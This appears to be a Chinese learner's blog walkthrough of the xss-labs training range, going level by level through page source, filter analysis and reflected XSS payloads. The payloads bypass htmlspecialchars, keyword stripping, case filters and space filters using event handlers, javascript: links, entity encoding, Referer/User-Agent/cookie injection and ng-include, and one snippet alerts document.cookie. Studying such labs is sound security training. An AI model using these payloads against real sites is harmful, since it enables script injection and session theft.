前言
昨天发了xss的“纸上谈兵”,部分,今天就来试试实战。。。来巩固一下知识
- 【THM】Cross-site Scripting(XSS跨站脚本漏洞)-学习 – Hekeatsll – 博客园
- xss-labs靶场安装+通关(1)-CSDN博客
- xss-labs靶场搭建+实战(纯小白向)-CSDN博客
- XSS-Labs靶场实战攻防解析-CSDN博客
- XSS-Labs靶场实战攻防解析-CSDN博客
- 2025年最新xss-labs靶场搭建以及完美通关教程(包教包会)_xss-labs搭建-CSDN博客

先下载下来,解压到phpstudy_pro文件夹下的WWW文件里

打开小皮面板进行创建网站,注意,【端口选择一些偏一点的,以防被占用】

重启后使用

像这样子,就成功了。
【也可以用docker来搭建,这个我没再尝试,大佬可以试试,
docker镜像:https://hub.docker.com/r/shadowaura/xss-labs】
3.2. level1【反射型xss】
3.2.1. 题目

3.2.2. 解题与尝试
3.2.2.1. 乍一看不知道要干嘛,然后将url传参变一下试试,

这个页面是可以根据url传参改变而改变
3.2.2.2. 再看看这个页面的代码【f12】

发现当我们在url中出现alert,将会弹出“完成的不错”,并且进入到level2,,这样,我们的目标就清晰了。
3.2.2.3. payload
<script>alert(1)</script>将test改掉

3.3. level2【input标签绕过,利用"闭合】
3.3.1. 题目

3.3.2. 尝试与解题
3.3.2.1. 根据上一题经验,打开f12

3.3.2.2. 好像和上一题一样?

错了。。。
3.3.2.3. 分析这道题
找找原因:
页面代码

script>alert(1)</script> 仅作为input标签的属性值存在,而非独立的 HTML 标签。浏览器会将属性值内的内容视为普通文本,不会解析执行其中的脚本,因此无法触发弹窗。
【即,我们输入的内容被弄进input的value里面了,没有办法触发前面那个alert的条件】
如何绕过:Level2 通常无标签 / 字符过滤(如未过滤<、>、"等),仅存在 “输出位置在属性内” 的限制,突破input标签的value属性限制,让恶意脚本成为独立的 HTML 元素或触发事件的属性。
【即闭合这个value,让语句独立出来】
具体逻辑:闭合value属性:用双引号 " 结束value的取值范围(原 HTML 中value="…",输入"后变为value="")。
即"><script>alert(1)</script>
3.3.2.4. payload"><script>alert(1)</script>

3.3.2.5. 知识补充(单标签和双标签)
HTML 里的标签分两类:双标签(需要闭合)和单标签(不需要闭合)
单标签(自闭合,不需要单独写结束标签)
这类标签就像一个 “一次性的物品”,它本身就代表了完整的功能,不需要包裹任何内容。
- 语法:<标签名 属性=值> 或 <标签名 属性=值(后者是更标准的写法)
- 例子:
-
- <img src="xxx.jpg"> → 直接插入图片,不需要内容
- <input type="text"> → 直接生成输入框
- <br> → 直接生成换行
双标签(需要开、关两个标签)
这类标签就像一个 “有盖的盒子”,中间可以包裹其他内容或代码。
- 语法:<标签名>内容</标签名>
- 例子:
-
- <script>alert(1)</script> → 包裹 JS 代码
- <div>这是一段文字</div> → 包裹网页内容
- <a href="https://xxx.com">链接</a> → 包裹链接文字
- 核心特点:必须用 </标签名> 来闭合,否则浏览器会解析出错。
3.4. level3【考察到转义过滤,单引号闭合,尖括号实体化】
3.4.1. 题目

3.4.2. 尝试与解题
3.4.2.1. 去查看源代码
发现,还是alert使完成本关;页面输入的内容,还是出现在body里面

3.4.2.2. 不断试错的过程【可略过】
3.4.2.2.1. 贱贱的我又试了一下上一题的答案

嗯~会不会是因为这value是'的缘故呢,
3.4.2.2.2. 试试'><script>alert(1)</script>

【看到<>被转义了,直接使用<script>标签会失效】
还是不行?出现新的知识点了。。。
3.4.2.3. 分析+payload
【确实是"变成了'】
但是注入的字符串中将<,>这样地敏感字符编码成了html字符实体
猜测服务器在这两处都用htmlspecialchars()函数进行了处理:
htmlspecialchars()函数把预定义的字符转换为 HTML 实体
预定义的字符有:
- & → &(逻辑与符号)
- < → <(小于号,HTML标签开始)
- > → >(大于号,HTML标签结束)
- " → "(双引号,属性值边界)
若开启ENT_QUOTES参数,还会转换单引号'为'。

3.4.2.3.1. 那么如何才能执行弹窗成功地代码呢?
有两种方法
3.4.2.3.1.1. 第一种,利用onfocus 事件
这里可以通过<input>标签的一些特殊事件来执行js代码比如onfocus语句,这个时候我们只需要闭合value值后面那个引号,再在该行的属性中加入onfocus属性即可,不用去刻意闭合‘<‘和’>‘
onfocus 事件
onfocus 是一个 HTML 事件属性,当元素获得焦点时触发。
例如,当用户点击一个输入框时,该输入框会获得焦点并触发 onfocus 事件。
<input type="text" οnfοcus="javascript:alert(1)">
作用:当用户点击这个输入框时,onfocus 事件触发,执行 javascript:alert('xss'),弹出一个警告框显示 "xss"
【因为在url中JavaScript会被视为协议,所以需要在末尾编码%20(空格)以免被浏览器解析为协议】
payload 'οnfοcus=javascript:alert(1)%20
结果和下面一样
【这是因为onfocus事件是JavaScript中对象获得焦点时发生的事件,最简单的实例就是网页上的一个搜索框,当鼠标点击该输入框,输入框被选中可以输入内容时就是该输入框获得焦点的时刻,此时输入框就会触发onfocus事件,因此点击当前页面输入框即可。】
3.4.2.3.1.2. 第二种,利用onclick
闭合value属性:用单引号'结束value的取值范围
在input标签内直接添加事件触发脚本(如onclick、onmouseover等),这类属性不需要<和>,可绕过标签过滤
payload' onclick='alert(1)



注意!!!因为这个onclick 所以需要再次点击一下输入框才可以
3.5. level4【闭合,onclick】
3.5.1. 题目

3.5.2. 尝试与解题
3.5.2.1. 老规矩,看源代码

value的结尾?嗯~【双引号】
3.5.2.2. 尝试过程
"><script>alert(1)</script>
这样应该可以闭合掉value了
但是仍然不行?

出现的问题是? scriptalert(1)/script><的符号被直接删除了。。没有被转义
3.5.2.3. 分析
根据我刚刚的尝试,发现又是<>被过滤【?】掉了,那么我们可以用上一题一样的方法,不使用<>就好了
3.5.2.4. payload
如果是onclick的话
" onclick="alert(1)
如果是onfocus的话
" οnfοcus="javascript:alert('xss')%20

【第二种我试了不行,不太清楚为什么,有人能帮我解答一下嘛。。。】
3.6. level5【a_href】
3.6.1. 题目

3.6.2. 尝试与解题
3.6.2.1. 看看源代码

3.6.2.2. 尝试
输入"><script>alert(1)</script>


变成了<scr_ipt>alert(1)</script>
【同时注意到,尾部会出现alert(1)内容】
输入" onclick="alert(1)

变成了 o_nclick
3.6.2.3. 分析
script关键词被针对性破坏 插入下划线_),导致<script>标签失效;
同时,发现事件属性(如onclick)中的 "on" 也可能被过滤(例如转为o_n),常规事件触发方式失效。
由于script标签和on类事件被过滤,需转向不依赖这两类关键词的触发方式,利用 HTML 标签的href属性结合javascript协议:
闭合value属性与input标签:用"结束value属性,再用>闭合input标签,使后续内容成为独立 HTML 元素。
使用<a>标签 +javascript协议:<a>标签的href属性支持javascript:伪协议,可直接执行脚本,且 "javascript" 中的 "script" 可通过大小写混淆绕过过滤
3.6.2.3.1. 知识(补充)【<a>】
<a>标签是HTML中用于创建超链接的基础元素【用于从一个页面链接到另一个页面】,
href(Hypertext Reference)是其必需属性,用于指定链接的目标地址或行为。
3.6.2.3.1.1. href的核心功能
- 定义链接目标:告诉浏览器点击链接后应跳转的位置(URL、文件、锚点等)。
- 触发交互行为:除了跳转,还可用于执行JavaScript、发送邮件等特殊操作。
3.6.2.3.1.2. href的常见取值类型
|
类型 |
示例 |
说明 |
|
绝对URL |
href="https://www.example.com" |
指向外部网站的完整地址(包含协议)。 |
|
相对URL |
href="/about.html" |
相对于当前页面的路径(常用作站内链接)。 |
|
锚点链接 |
href="#section1" |
跳转到当前页面内的指定锚点(需配合id="section1" 使用)。 |
|
邮件链接 |
href="mailto:user@example.com" |
点击后打开默认邮件客户端,发送邮件到指定地址。 |
|
电话链接 |
href="tel:1234567890" |
移动端点击后直接拨打指定电话(PC端无效)。 |
|
JavaScript链接 |
href="javascript:alert('Hello')" |
点击后执行JavaScript代码(存在安全风险,不推荐)。 |
3.6.2.3.1.3. 示例代码
<!– 安全的外部链接 –>
<a href="https://www.example.com" rel="noopener noreferrer">访问外部网站</a>
<!– 站内锚点链接 –>
<a href="#footer">跳转到页脚</a>
<div id="footer">这是页脚内容</div>
<!– 安全的用户输入链接(需后端转义) –>
<a href="<?php echo htmlspecialchars($user_provided_url); ?>">用户分享链接</a>
href是HTML链接的核心,但需结合安全规范使用,避免成为攻击入口 🔒。
3.6.2.3.2. 补充知识【常用的xss语句】
<script>alert(1)</script>
<img src=ganyu οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a herf=javascript:alert(1)>
<iframe src="javascript:alert(1)"></iframe>
3.6.2.4. payload"><a href="Javascript:alert(1)">点击触发</a>
【通过<a>标签注入一个href="Javascript:…"的恶意链接,点击后执行alert(1)】

点击那个触发

3.7. level6【大小写过滤】
3.7.1. 题目

3.7.2. 尝试与解题
3.7.2.1. 查看源代码
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和break it out!相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="break it out!">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:13</h3></body>
</html>
3.7.2.2. 尝试一下
输入"><script>alert(1)</script>

<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和"><script>alert(1)</script>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value=""><scr_ipt>alert(1)</script>">
scr_ipt发现关键词被破坏了,是否用上一题的方法可以呢。
输入"><a href="Javascript:alert(1)">点击触发</a>

发现并没有像上一题那样子,生成可以点的内容

看源代码,发现也被过滤了herf
3.7.2.3. 分析
闭合双引号发现还是过滤了on字段,试了试script字段发现也被过滤,试了试href,src字段发现也被过滤,但是大小写没被过滤,
3.7.2.4. payload【很多】
"><a Href="Javascript:alert(1)">点击触发</a>

其他的也可以,
如"><Script>alert(1)</script>
"> Onclick="alert(1)
3.8. level7【双写绕过】
3.8.1. 题目

3.8.2. 尝试与解题
3.8.2.1. 查看代码
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和move up!相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="move up!">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
其实这么看,还看不出什么,顶多看出是value是"的闭合方式
3.8.2.2. 尝试【根据他的报错来知道他要选择什么方法】
输入"><script>alert(1)</script>

<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和"><script>alert(1)</script>相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value=""><>alert(1)</>">
<input type=submit name=submit value=搜索 />
发现,script被直接删除了,导致<script>标签被剥离为<>
3.8.2.3. 分析
依然是value属性,尝试对其闭合,发现这次大小写也被过滤掉,以及script,on,href都被过滤掉,但是我们通过这三个案例中value后的变化,发现这里过滤的方法是替换为空字符,这是黑名单常用做法,所以我们使用双写绕过试试
过滤规则通常只会单次匹配并删除关键词,因此将 “script” 拆分为两部分,中间插入 “script”,过滤后两部分会自动拼接成完整的 “script”。例如:scrscriptipt → 过滤删除中间的 “script” → 剩余script。同时,需先闭合value属性和input标签。
3.8.2.4. payload
"><scrscriptipt>alert(1)</scrscriptipt>

3.9. level8【HTML 实体编码】
3.9.1. 题目

3.9.2. 尝试与解题
3.9.2.1. 查看代码,和看看页面
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="nice try!">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="nice try!">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
value是"闭合,这个友情链接点进去是not found
3.9.2.2. 尝试
输入"><script>alert(1)</script>

友情链接
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value=""><script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 />
这个value没有被成功闭合,发生了转义
同时这个链接中,<scr_ipt>alert(1)</scr_ipt>关键词被破坏
3.9.2.3. 分析
HTML 中,<a>标签的href属性支持HTML 实体编码(如s会被浏览器自动解析为s),且解析优先级高于关键词过滤 —— 利用这一特性可绕过 “script” 检测。
href属性支持javascript:伪协议(如href="javascript:alert(1)"),点击链接时会执行协议后的脚本,无需依赖<script>标签。
针对 “script” 关键词过滤,将 “javascript” 中 “script” 部分的某个字符(如s)替换为 HTML 实体编码(如s的十进制编码s、十六进制编码s)。
过滤规则无法识别编码后的字符;但浏览器渲染时会自动将编码解析为原字符,恢复javascript:协议的有效性。
【在线Html实体编码解码-HTML Entity Encoding/Decoding可以使用这个来】
3.9.2.4. payloadjavascript:alert(1)
原来:javascript:alert(1)

绕过需同时满足两个条件:通过合法性校验:在 Payload 中包含http://(或https://),让系统认为是合法链接;绕过script过滤并执行脚本:利用javascript:协议 + HTML 实体编码,在合法 URL 中嵌入可执行脚本,通过注释符号//忽略http://后的冗余内容。
3.10. level9【url和html编码】
3.10.1. 题目


3.10.2. 尝试与解题
3.10.2.1. 查看代码
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value=""><script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:33</h3></body>
</html>
根据上面
表单提交的keyword参数会被用于生成“友情链接”,但页面提示“您的链接不合法”,说明存在URL格式校验(如必须包含http://或https://)。
3.10.2.2. 出现问题
- 输入以后,点击链接,会有乱码【要有http://这种url头】
- 但是http://在前面显然是无法执行javascript的
- 需要实体化字符串,要实体编码
3.10.2.3. 分析+payload
绕过需同时满足两个条件:通过合法性校验:在 Payload 中包含http://(或https://),让系统认为是合法链接;绕过script过滤并执行脚本:利用javascript:协议 + HTML 实体编码,在合法 URL 中嵌入可执行脚本,通过注释符号//忽略http://后的冗余内容。
javascript:alert(1)//http://
- 合法校验:包含http://,满足系统对 “合法链接” 的判断,避免被标记为 “不合法”;
- 执行:
-
- javascript:s是s的 HTML 实体编码,浏览器解析后恢复为javascript,绕过script关键词过滤;
- //:JavaScript 注释符号,忽略后续的http://(避免干扰脚本执行);

3.11. level10【隐藏域问题,猜get变量,回显位置+<>过滤】
3.11.1. 题目

3.11.2. 尝试与解题
3.11.2.1. 代码审计
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
3.11.2.2. 尝试加分析
随便给url中的keyword一个值,f12看看代码有什么变化,发现这次扔的值没有赋给value了,而是仅仅只在h2标签中有映射,但是紧接着发现下面type属性中用了hidden隐藏,我么把type属性删掉,或者把hidden改成text

这个是突破口,,将”hidden“改为”text“

多了三个口
http://xss:8083/level10.php?keyword=55555555&t_link=11111&t_history=22222&t_sort=33333

发现最后一个value可以输入,
?keyword=55555555&t_sort="><script>alert(1)</script>

发现<>被消除掉,用其他方法
" onclick=alert(1)
"οnfοcus=javascript:alert(1)%20再点击一次就可以,,但是我试不出来
其他答案,用这个
"onclick='alert(1)'type='',此时这个框就不会再消失,再次点击框内,就可以成功

3.12. level11
3.12.1. 题目

3.12.2. 尝试与解题
3.12.2.1. 查看代码

3.12.2.2. 写一写,按上一题的方法
http://xss:8083/level11.php?keyword=1&t_link=1&t_history=11&t_sort=111&t_ref=1111

依然是只有这个sort有回显
http://xss:8083/level11.php?keyword=1&t_sort="javascript:alert(1)

对特殊符号进行了html实体化转义,无法利用
3.12.2.3. 那么我们就将视线转向t_ref
联想到http报文中的referer字段。再刷新一次,发现果然,是会根据服务器接收的值动态变化的,并且为上一个页面的url,所以这时有两种解题方法,一种是直接用hackbar,还可以用burp
3.12.2.3.1. 用hackbar


由此,可以看出这个参数也是可变的,只不过不是从url那里简单改变,而是通过post
提交" onclick='alert(1)'type=''>

3.12.2.3.2. 使用burp
有点小复杂
首先,打开?keyword=good job

只有这个,然后你要求做回应,

点击forward之后,会出现response

在右边去改变ref的值,反过来在页面中将会出现相对应变化
" onclick='alert(1)'type=''>


3.13.2. 尝试与解题
3.13.2.1. 查看源代码
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
又是hidden?,还有t_ua
3.13.2.2. 尝试一下,看回显?
&t_link=1&t_history=11&t_sort=111&t_ua=1111

t_sort有回显,那么试试在t_sort位置搞一下
t_sort=" onclick='alert(1) 'type=''>
![]()
被转义了,意料之中。。
3.13.2.3. 试试t_ua
因为正常没有回显,试试上一题的方法




3.14. level13【(cookie注入)】
3.14.1. 题目

3.14.2. 尝试与解题
3.14.2.1. 代码审计
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
还是有四个hidden出现,作为突破口
3.14.2.2. 尝试:
&t_link=1&t_history=11&t_sort=111&t_cook=1111
依然是只有t_sort有回显

那么将镜头转向第四个cook

不对?无结果,无回显
3.14.2.3. 分析
我是笨蛋,cookie是键对的方式,我前面写的啥呀,再来一下。
【也可以用burp,但是hackbar感觉更快一点】


这个cookie要注意一下键对,所以要先闭合value
所以制造payload
" type="text" onclick="alert(1)
" type="text" onmousemove="alert(1)

" onfocus=javascript:alert(1) type="text" "

3.15. level15【ng-include文件包含】
3.15.1. 题目

3.15.2. 尝试与解题
3.15.2.1. 代码审计
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>
利用最后一行
3.15.2.2. 知识点
include作用是将同一服务器的html文件包含进来,和src进行传参,在请求 src 资源时会将其指向的资源下载并应用到文档中,比如 JavaScript 脚本,img 图片等等,
ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,
但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页,
换句话说,其作用是将同一服务器的html文件包含进来,和src进行传参,在请求 src 资源时会将其指向的资源下载并应用到文档中,比如 JavaScript 脚本,img 图片等等,
在这里我们将src指向任意一关,输入对应的xss弹窗脚本即可
【
】
ng-include是AngularJS的核心指令,用于动态加载并渲染外部HTML文件。
其XSS攻击风险源于指令对URL的解析逻辑与HTML内容的直接渲染,以下是详细拆解:
3.15.2.2.1. 指令的核心特性
- 表达式支持:ng-include的值可以是AngularJS表达式(如ng-include="'template.html'"),也支持直接写URL(如ng-include="'/api/data'")。
- 同源限制:默认要求加载的文件与当前页面同域名(防止跨域请求),但可通过后端配置Access-Control-Allow-Origin突破。
- HTML渲染:加载的HTML内容会被AngularJS直接插入DOM并执行(包括<script>标签、事件绑定等)。
3.15.2.2.2. XSS攻击的两种典型场景
3.15.2.2.2.1. 场景1:URL参数注入
若ng-include的URL由用户输入动态生成(如ng-include="'/load?url=' + $scope.userInput"),攻击者可构造如下Payload:
ng-include="'/load?url=' + 'javascript:alert(1)'"
- 攻击逻辑:后端若未过滤javascript:伪协议,ng-include会将其解析为合法URL,加载并执行alert(1)。
3.15.2.2.2.2. 场景2:包含恶意HTML文件
攻击者可上传一个包含XSS代码的HTML文件(如evil.html)到同域名服务器,然后通过ng-include加载:
<!– evil.html 内容 –>
<script>alert(document.cookie)</script>
<!– 攻击Payload –>
<div ng-include="'evil.html'"></div>
- 攻击逻辑:ng-include直接渲染evil.html的内容,执行恶意脚本窃取Cookie。
3.15.2.3. payload
ng-include这个,然后用于包含url
?src='level1.php?name=<img src=1 onerror=alert(1)>'
- 单引号用于闭合HTML属性level1.php?name=<img src=1 onerror=alert(1)>,这是个Url
- src是参数名
- 先是跳转到level1去,然后执行后面那一串内容【1中无过滤】
- img作用是加载并显示图片,指定图片的来源 URL。
- 这里 1 是无效的 URL,会导致图片加载失败
- onerror是html事件属性,图片加载失败(如404错误)时触发
-

3.16. level16【空格,srcript绕过】
3.16.1. 题目

3.16.2. 尝试与解题
3.16.2.1. 代码审计
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<center>test</center><center><img src=level16.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
3.16.2.2. 尝试一下加解题payload
<script>alert(1)</script>

被转义
试试有哪个怨种被转义了
"><script>alert(1)</script><javascript><img><onclick>

根据上述,应该只有script还有/被转义
XSS跨站脚本攻击实例与防御策略-CSDN博客【里面是一些绕过方法和标签】
既然后面的没有被转义过滤,我们可以使用
?keyword=<img src=1 onerror=alert(1)>

发现空格啥的都被编码了,
那可以代替空格的,实现绕过:%20(空格标准编码),%0a(换行符),%0d(回车符) ?keyword=<img%0asrc=1%0aonerror=alert(1)>
<input%0Atype="text"%0Aοnmοuseοver=alert(0)>
我使用了%0A它是URL 编码,代表换行符。在HTML语法中,换行符通常被解释为空格符,不会产生实际的换行效果。这是因为 HTML 解析器会忽略连续的空白字符(包括空格、制表符和换行符),将它们视为单个空格符。

3.16.2.3. 总结一下
这道题先通过普通,最常见的方式xss攻击一下,通过失败来判断过滤 的元素,
如本道题,通过<script>alert(1)</script>尝试出/ script被转义,
接着去猜测其他关键词是否会被转义,使用其他的攻击方式
3.17. level17【embed标签 拼接绕过】
3.17.1. 题目

3.17.2. 尝试与解题
3.17.2.1. 代码审计
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
3.17.2.2. 知识点
<embed> 标签用于在HTML页面中嵌入外部内容,如多媒体文件、插件或其他交互式内容。它是HTML5的一部分。
以下是 <embed> 标签的基本语法:
<embed src="URL" type="MIME-类型" width="宽度" height="高度">
常用的属性包括:
src:指定要嵌入的外部资源的URL。可以是音频、视频、SWF 文件等。
type:指定被嵌入资源的MIME类型。
width:指定嵌入内容的宽度(像素或百分比)。
height:指定嵌入内容的高度(像素或百分比)。
3.17.2.3. 尝试与payload

即后面a,b二值可以通过认为改变,arg01=a&arg02=b
思路:是否可以通过在此处通过恶意的编辑,使其通过
?arg01=a&arg02=b onmousemove='alert(1)'
?arg01=a&arg02=b onclick='alert(1)'

也可以使用闭合标签
“ onfocus=javascript:alert(1)
3.18. level18【embed标签 拼接绕过】
3.18.1. 题目

3.18.2. 尝试与解题
<!DOCTYPE html><!–STATUS OK–><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<embed src=xsf02.swf?a=b width=100% heigth=100%></body>
</html>
与上一题一样?arg01=a&arg02=b onmousemove='alert(1)'
3.19. level19【flash xss】
3.19.1. 题目

3.19.2. 尝试与解题
看着与前两题相似
试试之前的payload
?arg01=a&arg02=b onmousemove='alert(1)'
结果是不行,再去看源代码

相较之前多了双引号
level19.php?arg01=version&arg02=<a href="javascript:alert(/bmfx/)">bmfx</a>
【就是在flash插件里面插入一段JavaScript代码,然后在执行。跟flash xss有关,但是flash用得是越来越少了,因此这道题就不详细做了,直接放出题解吧】
3.20. level20【反编译】
更不会了。。。
payload如下。。
?arg01=id&arg02=xss\\"))}catch(e){alert(1)}//%26width=123%26height=123
arg01=id&arg02=\\%22))}catch(e){}if(!self.a)self.a=!alert(1)
3.21. 实战总结
从level1-level18算是
遇到xss的题目
先使用简单的payload去尝试<script>alert(1)</script>
根据报错,回显来进行修改,或者使用其他的方法
|
题目 |
什么类型的题目 |
思路,嗯~ |
payload |
|
level1 |
反射型xss、 无过滤 |
name直接嵌入到html里面,且不做任何过滤
|
<script>alert(1)</script> 或者 <img src=a onerror=alert(1);> |
|
level2 |
反射型xss、 htmlspecialchars过滤 【针对上一题,多了一个过滤方式】 |
先尝试最朴素的payload(在没有明显知道用什么方法的时候)
发现被转码了且转义不出来 value没有被处理,可以从这里入手 首先应该闭合标签(“>),在进行xss注入
|
"><script>alert(/xss/)</script> 或者 "><img src=a onerror=alert(1);>
|
|
level3 |
反射型xss、htmlspecialchars过滤、 特殊动作绕过 【在上一题,又多了一个绕过方式】 |
先尝试最朴素的payload(在没有明显知道用什么方法的时候)
value值位于input标签上,可以==使用onmouseover属性(鼠标经过)或者onfocus属性(鼠标点击)==进行突破 特殊事件突破:进行鼠标操作xss注入 |
' onclick='alert(1) ' onmouseover='javascript:alert(1)' 或者 ' onfocus='javascript:alert(1)' |
|
level4 |
反射性xss、htmlspecialchars过滤、 <>替换为空、特殊动作绕过 【和上一题差不多,,闭合方式变了】 |
先尝试最朴素的payload(在没有明显知道用什么方法的时候)
发现其使用htmlspecialchars()过滤了一处的<、>,并且将>、<均替换为空 |
"onmouseover='javascript:alert(1)' 或者 " onfocus='javascript:alert(1)' 或者 " onclick="alert(1) |
|
level5 |
反射性xss、htmlspecialchars过滤、 超链接标签绕过 |
|
"> <a href="javascript:alert(1)">xss</a> |
|
level6 |
反射性xss、 大小写绕过 |
|
"><Script>alert(1)</script> //此处还存在许多通过复写绕过的payload,不过多做展示 |
|
level7 |
反射性xss、 复写绕过 |
|
"><scrscriptipt>alert(1)</scrscriptipt> //此处还存在许多通过复写绕过的payload,不过多做展示 |
|
level8 |
|
|
javascript:alert(1) |
|
level9 |
在上一题的基础上增加了http的要求 |
注意,要注释掉http://,因为有他在无法正常运行xss攻击 |
javascript:alert(1)//http:// |
|
level10 |
<>过滤, 隐藏域 |
先查看源代码,发现一些不同之处, 【如通过要求,hidden等东西】 存在3个隐藏的表格,一一尝试哪个可以进行突破 在可以突破的地方进行实验【注意,因为<>过滤,所以用onclick标签】 |
"onclick='alert(1)'type='' |
|
level11
|
反射xss、referer注入 |
|
" onclick='alert(1)'type=''> |
|
level12 |
反射xss、 User-Agent注入 |
|
" onclick='alert(1)'type=''> |
|
level13 |
反射xss、cookie注入 |
这三道题目是一样的,因为sort位置过滤的太狠了,只能使用bp,hackbar来提交变量 |
" onfocus=javascript:alert(1) type="text" " |
|
level15 |
ng-include文件包含 |
可以通过转载到其他的level执行过滤,使此关通过 |
'level1.php?name=<img src=1 onerror=alert(1)>' |
|
level16 |
空格, srcript / 绕过 |
|
<img%0asrc=1%0aonerror=alert(1)> |
|
level17 |
htmlspecialchars(),embed标签 |
发现有两个变量,并且是拼接的,利用特殊动作绕过一下,前面不动 |
?arg01=a&arg02=b onmousemove='alert(1)' |

一、基础触发型Payload
<script>alert(1)</script>:
最经典的反射型XSS payload,直接插入脚本标签执行代码。
<img src=x onerror=alert(1)>:
